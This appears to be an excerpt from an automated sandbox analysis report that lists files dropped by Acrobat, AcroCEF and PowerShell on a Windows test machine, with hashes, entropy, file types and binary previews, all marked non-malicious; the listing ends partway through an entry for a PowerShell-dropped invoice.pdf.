MD5:	1D6DCF249BE021F500B81C9E6B094452
SHA1:	E2D19F63C1FEDE99436DD5DEAFD032ACD8AF813B
SHA-256:	551ED929922A35DCDF61E9FFD2B02A29E0E5D8C01A182B798126E035F9BA29D5
SHA-512:	A4219B1F8E400E2DD7D4427DD2BCF18C20C00858F0F17F7E4692249552D593A63535B70265C509B9B9E653821B0456A6D6A83B17D65BDBEAE9152A6F15F77A7A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f93357b3cdcd322223f6dd0f9c40a4ed","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736566249000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fc1c05aeeee4eb6acb16caa5ecc44c90","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736566249000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a2331477f2db22a2ad5d3970453e7417","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736566249000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d1c0eead7076213fc4fe7e458054b6f6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736566249000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1a99c01cdde8ed7e33163cc3b67220f0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736566249000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d540fe742e78c31c8b83c3532b5e8598","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1875226780400963
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUVSvR9H9vxFGiDIAEkGVvpl:lNVmswUUUUUUUUV+FGSIth
MD5:	E581FD06FEF8BB1ECC04F61FBF7BA09C
SHA1:	B09BE198BD830D144DC3C92AEF3E2DC3244C9DBD
SHA-256:	EFD8BE9ECD7129C9FBAEC9E7D2B402D178EE4D6809062231F7D61EF870BEDFD6
SHA-512:	C19489E208FABDFA55CE259A0354C3BCC209549A22F6F2619CF2395FC8B72729F1F5B99F26692D96AD7C7C8ACDCBE5D36334684400963D48F2A0766D09247A74
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6042092049064758
Encrypted:	false
SSDEEP:	48:7MzKUUUUUUUUUUNvR9H9vxFGiDIAEkGVvvWqFl2GL7ms1:7dUUUUUUUUUUpFGSIthWKVms1
MD5:	2238AF8EFA95E38BD1B233D21543C013
SHA1:	01B50B3566916ED6549FBADCC78EB098FA73FBD1
SHA-256:	6050716166380EE4BCE3DE3AAFCF195C4DD299348A5C1320D37672D5FAA72D78
SHA-512:	C74A93FA988F13EAB6E0B84C4707A1711F505D5DCAF3169C9427FED8DF0BC9B070A161D3F26DCCD94518AC9EBE7872D42690C7A7161C65217268F510E78F5221
Malicious:	false
Preview:	.... .c.....t7.-......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHhCRQ5MRECWGkr4FpDxjbFGpFYyu:6a6TZ44ADEHhCu5M6CWGpp4K
MD5:	D6F3E21CCDCE4FEF6C53823242E1D338
SHA1:	249D2CB10352DAF7B78FDFE86B44715590DD756E
SHA-256:	59701689AEEDB9248C40621AC3B30F868BBCA1222714300F14E77CB8FBB964E3
SHA-512:	1C1DF57FBC7FF0780CEF8DD3B02BFF2B44E5CEE791A463F93A06AB2A9C04C713C8B2A985FA9EA080E37C0F9B89D6E8E8063A773EF25A68B044555AA810D22A3D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI86a78.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUlP9CH:Qw946cPbiOxDlbYnuRK+bLfCH
MD5:	37A17C166754257FE56A8161FC342077
SHA1:	C081853620BAE5B6CCCBE2BFB790BAC5A1A9F86C
SHA-256:	2CDBA58496C23384ED2B065A88C1C1B4B5514D8918553A6E3717F6E8D4555FD6
SHA-512:	99FB4EF37997D10FD11EC5C3573A5AD04E356F99AF96470647D8570D328C4B863BD9A89C6F30922F23A676BA9BFD79743F1F81F452062B3E217BCDC495DE609A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.3.0.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0hve4x3.dxn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yw5uzkxw.n5l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A97zrptb_128halw_638.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9mvyen3_128halu_638.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-30-45-556.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3420196470346095
Encrypted:	false
SSDEEP:	384:5xFMFFgki8DSjNZ4m81FT1QpRaxUDnrNqFsqocqlL9xo+B/6sQATdcdwBnBpid1p:46S
MD5:	5A5490338A0678CE9F495172928B38B6
SHA1:	25927C3A20C87440B2829C25403BC14AACCEF5C7
SHA-256:	7ABAA34716B9117B6CB21E14A3D61BF3650DC11A05EF53DD5C330DAC41905D56
SHA-512:	3B8F419B5C6245D3D2EE17D251A72BA658F9C900A0EE0A7865D13CA6A75BB3BDA5A1853BA16923E7417CC9661C61AB546226A10F7365C1269096FFE03CE05345
Malicious:	false
Preview:	SessionID=a48a61cb-4014-425d-a0ce-86b85b56feba.1736566245569 Timestamp=2025-01-10T22:30:45:569-0500 ThreadID=5336 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a48a61cb-4014-425d-a0ce-86b85b56feba.1736566245569 Timestamp=2025-01-10T22:30:45:570-0500 ThreadID=5336 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a48a61cb-4014-425d-a0ce-86b85b56feba.1736566245569 Timestamp=2025-01-10T22:30:45:570-0500 ThreadID=5336 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a48a61cb-4014-425d-a0ce-86b85b56feba.1736566245569 Timestamp=2025-01-10T22:30:45:570-0500 ThreadID=5336 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a48a61cb-4014-425d-a0ce-86b85b56feba.1736566245569 Timestamp=2025-01-10T22:30:45:570-0500 ThreadID=5336 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383109564984394
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rt:a/3h4QOqqcfNyB
MD5:	0F2B4B1D8B550B38A6A6338BCBA0353F
SHA1:	5719C37AE3D288A5988CE0538B1258E84281E686
SHA-256:	F7818D643851495D4423C0E4894FAB03C37EB56332DB91D9F115BC65705C0F51
SHA-512:	DC0F406D74EE01BC9B3D69F9AA67D2D866942AE7EC6DC49686A8B9FC79FC7DBED758C0D70C021D5E8FD88EE5AE731F546E79F84507535181CA1697E0F262E39A
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\54ac1d29-0f87-49b8-b365-926f1c1578c7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5573c15d-09b8-4fef-bf9b-5b681b25d4b2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c20490e0-680b-4b78-9d8a-178dd3f805aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eb4e931d-a2d7-4c35-990a-c0c79099aa4f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
